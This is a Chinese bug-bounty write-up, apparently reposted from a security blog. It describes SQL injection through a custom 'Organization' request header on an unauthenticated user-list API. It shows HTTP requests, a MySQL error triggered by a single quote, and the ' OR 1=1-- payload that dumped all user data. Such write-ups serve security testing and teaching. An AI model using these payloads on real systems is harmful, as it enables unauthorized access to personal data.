文章总结： 本文分享一次SRC实战中的请求头SQL注入案例，作者发现某接口返回用户组织不能为空错误，通过将organization参数从请求体移至请求头成功访问，随后测试发现该参数存在SQL注入漏洞，利用单引号触发报错并通过OR1=1实现数据泄露，揭示了请求头参数的安全风险与测试方法。
综合评分： 83
文章分类： WEB安全,渗透测试,实战经验,漏洞分析,SRC活动
【SRC案例分享-16】不一样的SQL注入之请求头注入
原创
low洞百出 low洞百出
low洞百出
2026年6月30日 10:07 湖南
在小说阅读器读本章
去阅读
免责声明：本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章，内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章，所引发的一切法律责任与经济损失，均由使用者自行承担，与本公众号及作者无关。如有内容侵权，请及时联系处理。
前言
提到请求头注入，很多人的第一反应是经典的 X-Forwarded-For 注入。而本文要分享的，正是一次与 XXF 注入思路类似、却又略有不同的实战案例，希望能给各位师傅带来一些启发。
案例分享
在一次渗透测试过程中，我发现了一个值得关注的接口。该接口无需鉴权即可直接访问，但返回结果却是 HTTP 500，错误提示为：“用户组织不能为空”。
HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{ "code": 500, "message": "用户组织不能为空", "data": null}
根据报错信息，我尝试在请求体中添加 organization 参数，并赋予一个测试值。然而，服务端依然无情地返回“组织不能为空”。
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonUser-Agent: Mozilla/5.0
{"organization": "test123"}
HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{ "code": 500, "message": "用户组织不能为空", "data": null}
此时我开始疑惑：参数名明明正确，传值也正常，为什么会一直提示为空？难道是系统做了严格的校验，或是我传入的值不被识别？
后面测试了半天，想了一下，也行需要添加的参数可能压根就不是要求在请求体中，难道是请求头？
试了试，添加请求头参数并且传值
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123User-Agent: Mozilla/5.0
{}
HTTP/1.1 200 OKContent-Type: application/json
{ "code": 200, "message": "success", "data": []}
果然，没报错了返回结果从500变成了200
但是问题又来了，虽然是返回200,因为我的Organization值是随便传的，肯定是没数据的
不过这也从侧面说明了一个问题，该接口可能存在未授权问题，无需身份校验即可调用，可能只需要传入正确的Organization参数值即可获取数据
然而经常测试的师傅们都知道，一般这种Organization参数的值就是一大串例如121212121xxxxxx123121类似的无法遍历，无法猜解的
开始一直想着到哪里能获取到Organization参数值，看能不能拿到点数据，实际上没什么效果，真没法直接白嫖到这一大串
也是很折磨，这个时候一个想着该接口既然是通过传入的Organization参数值来获取数据，那是不是说明是通过数据库查询传入的Organization参数值来获取数据？
这个时候就不得不测试一下SQL注入了，在后面加一个简单的单引号试试
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123'User-Agent: Mozilla/5.0
{}
HTTP/1.1 500 Internal Server ErrorContent-Type: text/html
<b>SQL Syntax Error</b>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test123''' at line 1
果不其然，一大串sql语法报错
每次测试sql注入，看到给个单引号就触发报错，就给人一种给个平A就交大的感觉哈
接下来就是直接报错注入，拿下数据库名，证明漏洞存在即可
既然有注入，那么直接尝试一下输入恒真表达式看看能不能返回数据？
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123' OR 1=1-- User-Agent: Mozilla/5.0
{}
直接一个’ or 1=1– 返回了接口全部信息
类似于登录框SQL注入的万能密码，其实也是相当于一种权限绕过思路了，实际上SQL注入的本质就是将用户输入的数据当做sql语句执行。更多请求头相关测试思路，师傅们可观看上一篇文章。
总结
请求头其实也有很多能操作的地方，需要师傅们耐心加细心，师傅们也可以分享一下其他的思路。
感谢关注，出货不迷路！
往期推荐
【SRC案例分享-15】越权提示403无权限？试试这种绕过思路
【SRC案例分享-14】来自”官方”的短信，是如何被炮制出来的？
【SRC案例分享-13】记一次把账号”玩坏”了的业务逻辑漏洞
【CNVD证书案例-12】未授权与任意文件读取漏洞拿下CNVD证书
【工具相关分享-11】告别”古法挖洞”-Codex接入DeepSeek教程
【SRC案例分享-10】记一次”fuzz”参数拿下赏金
【SRC案例分享-09】支付漏洞-简单的“0元购”思路
【SRC案例分享-08】你设置的密码，也许只“防”住了你自己——浅谈弱口令漏洞
【SRC案例分享-07】记一次信息收集*2
【SRC案例分享-06】记一次信息收集
【SRC案例分享-05】任意账号接管-短信验证码校验失效
【SRC案例分享-04】任意账号接管-寻找隐藏登录方式
【SRC案例分享-03】个人测试习惯捡到的未授权漏洞
【SRC案例分享-02】记一次搜索框”%”出奇迹
【SRC案例分享-01】页面404? 接口401？说不定还能操作！
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：low洞百出 low洞百出 low洞百出《【SRC案例分享-16】不一样的SQL注入之请求头注入》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论